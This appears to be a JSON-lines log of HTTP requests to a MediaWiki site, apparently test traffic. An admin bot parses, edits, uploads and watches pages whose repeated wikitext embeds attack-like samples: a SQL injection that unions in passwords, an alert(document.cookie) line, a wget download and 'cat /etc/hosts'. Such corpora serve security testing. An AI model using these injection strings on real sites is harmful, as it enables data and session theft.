{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1595", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=24%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=parse&title=Api+ls+-la+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&contentmodel=wikitext&pst=1&prop=text&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1668", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=24%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+ls+-la+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&summary=Notes+on+ls+-la%2C+python3%2C+ls+-la+and+.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 155", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=26%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+ls+-la+notes&appendtext=%0A%2A+ls+-la&summary=ls+-la&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1072", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=28%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: multipart/form-data; boundary=7a53d6d4af2844e59f972f70f639962c"], "body": "--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nApi ls -la.png\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\nPicture of ls -la\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"text\"\r\n\r\nAbout ls -la and .htaccess\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"ignorewarnings\"\r\n\r\n1\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"token\"\r\n\r\n2784a88a79a632f564ea8dddf4913c046af226a3+\\\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\njson\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"formatversion\"\r\n\r\n2\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Api ls -la.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffdls -la\r\n--7a53d6d4af2844e59f972f70f639962c--\r\n"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 117", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=30%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=watch&titles=Api+ls+-la+notes&token=882a46e87f44097de0925d3b78c26c766af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1598", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=32%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=parse&title=Api+.htaccess+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&contentmodel=wikitext&pst=1&prop=text&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1674", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=32%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+.htaccess+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&summary=Notes+on+.htaccess%2C+python3%2C+ls+-la+and+.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 164", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=34%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+.htaccess+notes&appendtext=%0A%2A+.htaccess&summary=.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1087", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=36%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: multipart/form-data; boundary=0451c085f0cd430585e04333efbbfbbf"], "body": "--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nApi .htaccess.png\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\nPicture of .htaccess\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"text\"\r\n\r\nAbout .htaccess and .htaccess\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"ignorewarnings\"\r\n\r\n1\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"token\"\r\n\r\n2784a88a79a632f564ea8dddf4913c046af226a3+\\\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\njson\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"formatversion\"\r\n\r\n2\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Api .htaccess.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd.htaccess\r\n--0451c085f0cd430585e04333efbbfbbf--\r\n"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 120", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=38%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=watch&titles=Api+.htaccess+notes&token=c47e469c2c159f84b563d880403eca806af226a4%2B%5C&format=json&formatversion=2"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_Lighthouse_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1256", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=40%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on Lighthouse\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_python3_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1253", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=41%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on python3\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_powershell_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1256", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=42%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on powershell\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_ls_-la_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1252", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=43%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on ls -la\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "PUT", "target": "/rest.php/v1/page/Rest_.htaccess_notes", "headers": ["Accept-Encoding: identity", "Content-Length: 1255", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=44%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Content-Type: application/json"], "body": "{\"source\": \"{{Infobox\\n| name = Example\\n| image = Pic python3.png\\n}}\\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\\n\\n== Install ==\\nRun these, with python3 and powershell:\\n<pre>\\n#!/bin/sh\\ncd /var/www && ls -la\\npython3 -m venv .venv && . .venv/bin/activate\\nwget http://example.com/setup.sh -O /tmp/setup.sh\\ncat /etc/hosts\\n</pre>\\n<syntaxhighlight lang=\\\"sql\\\">\\nSELECT name FROM users WHERE id = 1 OR 1=1;\\nUNION SELECT password FROM accounts;\\n</syntaxhighlight>\\n<syntaxhighlight lang=\\\"javascript\\\">\\ndocument.getElementById(\\\"x\\\").innerHTML = \\\"<b>\\\" + window.location + \\\"</b>\\\";\\nalert(document.cookie);\\n</syntaxhighlight>\\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\\n\\n{| class=\\\"wikitable sortable\\\"\\n|-\\n! Command !! Does\\n|-\\n| <code>ls -la</code> || lists files\\n|-\\n| <code>powershell -Command Get-Item</code> || shows an item\\n|-\\n| <code>python3 manage.py</code> || runs a script\\n|}\\n\\n<gallery>\\nFile:Pic python3.png|A picture\\n</gallery>\\n<ref>A note citing https://example.com/</ref>\\n[[Category:Examples]]\\n\", \"comment\": \"Notes on .htaccess\", \"content_model\": \"wikitext\", \"token\": \"2784a88a79a632f564ea8dddf4913c046af226a3+\\\\\"}"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 94", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=45%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=logout&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
# From a wiki without short URLs, whose pages are at /index.php/Main_Page:
# signing in, uploading files, and moving a page through the form and the API.
{"method": "GET", "target": "/index.php/Special:UserLogin", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
